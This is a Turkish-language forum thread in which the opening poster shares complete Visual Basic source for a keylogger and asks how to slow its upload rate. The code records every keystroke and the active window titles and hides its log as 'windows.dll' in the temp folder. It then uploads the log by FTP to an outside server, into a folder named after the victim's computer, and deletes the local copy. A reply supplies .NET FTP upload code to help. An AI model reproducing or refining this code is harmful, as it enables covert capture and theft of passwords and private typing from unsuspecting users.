Forum
Aktif konular
Üyeler
Kurallar
Arama
Ftp Keylogger Upload Ftp Keylogger Upload
-
kadları paylaşıyorum buradan düzenleme nasıl yapabiliriz saniye de bir upload ediyorrrr
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean
Dim ftpat As New clsFTP ' Class tanımladık
Dim ftpserver As String, ftpkadi As String, ftpsifre As String, agırlık As String, logyolu As String
Private Sub Command1_Click()
Form1.Visible = False
Me.Hide
End Sub
Private Sub Command3_Click()
'Form2.Show
End Sub
Private Sub Command4_Click()
End Sub
Private Sub Form_Load()
'//////////////////////////
ftpserver = "ftp.cwahi.net"
ftpkadi = "k.adi"
ftpsifre = "sifre"
logyolu = Environ("temp") & "\windows.dll" 'temp dizinindeki windows.dll dosyasi
agırlık = 5000 'En Yüksek Kb Degeri
'//////////////////////////////
'Inet1.AccessType = icUseDefault
'Inet1.Protocol = icFTP
'Inet1.RemoteHost = "ftp.cwahi.net"
'Inet1.RemotePort = "21"
'Inet1.Password = "sifre"
'Inet1.UserName = "k.adi"
'Inet1.RequestTimeout = "60"
Label1.Caption = 0
Timer3.Interval = 60000 ' 1 dk
On Error Resume Next
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"
ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"
ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"
ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"
ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub
Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function
Private Sub Timer1_Timer()
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If
'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If
'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Text2.Text = logyolu
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub
Private Sub Timer3_Timer()
If Label1.Caption = 60 Then
'24 X 60 = 1440
'24 saat olmuştur kodu yazabiliriz
Else:
Label1.Caption = Label1.Caption + 1
' Her bir dakikada 1 arttıracak taa ki 24 saat oluncaya kadar
End If
End Sub
Private Sub Timer4_Timer()
'If Label1.Caption = 3 Then
'Form1.Inet1.Execute , "put e:\windows.dll windows.dll"
'End If
'End If
If Dir$(logyolu) = vbNullString Then Exit Sub ' Dosya Yokise Cık
If agırlık < FileLen(logyolu) Then ' dosya agirliktan yüksek ise upload et
If ftpat.OpenConnection(ftpserver, ftpkadi, ftpsifre) Then ' Ftp Baglantisini Yaptik
ftpat.CreateFTPDirectory (Environ("Computername")) ' Ftp Bilgisayar isminide Yeni Dizin Ekledik
' Ftp Upload işlemi Yapıyourz
If ftpat.FTPUploadFile(logyolu, Environ("Computername") & "/" & "[" & Date & "] " & Time & " " & ".log") = True Then
ftpat.CloseConnection ' baglantiyi kapatıyoruz
Kill (logyolu) ' Dosyayi Siliyoruz
End If
End If
End If
End Sub
chkarito tarafından 26/Kas/14 14:20 tarihinde düzenlenmiştir -
yaw şu konuda yardım edecek biri yok mu yauaaa :(((
-
Al bu .net te FTP Upload Kodu
Dim clsRequest As System.Net.FtpWebRequest = _
DirectCast(System.Net.WebRequest.Create("Ftp Adresi" & "Oluşacak Dosya aDI"), System.Net.FtpWebRequest)
clsRequest.Credentials = New System.Net.NetworkCredential("Kullanıcı Adı", "Şifre")
clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFileDim bFile() As Byte = System.IO.File.ReadAllBytes("Gönderdiğin Dosya Adresi")
Dim clsStream As System.IO.Stream = _
clsRequest.GetRequestStream()
clsStream.Write(bFile, 0, bFile.Length)
clsStream.Close()
clsStream.Dispose() -
furkiak bunu yazdı
Al bu .net te FTP Upload Kodu
Dim clsRequest As System.Net.FtpWebRequest = _
DirectCast(System.Net.WebRequest.Create("Ftp Adresi" & "Oluşacak Dosya aDI"), System.Net.FtpWebRequest)
clsRequest.Credentials = New System.Net.NetworkCredential("Kullanıcı Adı", "Şifre")
clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFileDim bFile() As Byte = System.IO.File.ReadAllBytes("Gönderdiğin Dosya Adresi")
Dim clsStream As System.IO.Stream = _
clsRequest.GetRequestStream()
clsStream.Write(bFile, 0, bFile.Length)
clsStream.Close()
clsStream.Dispose()visual basicte sadece 1 dk da 1 bile yapsa yeter yeterki her saniye değilde belli bir süre içinde yapsınnnn saniye bası atmasınnn
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Cevapla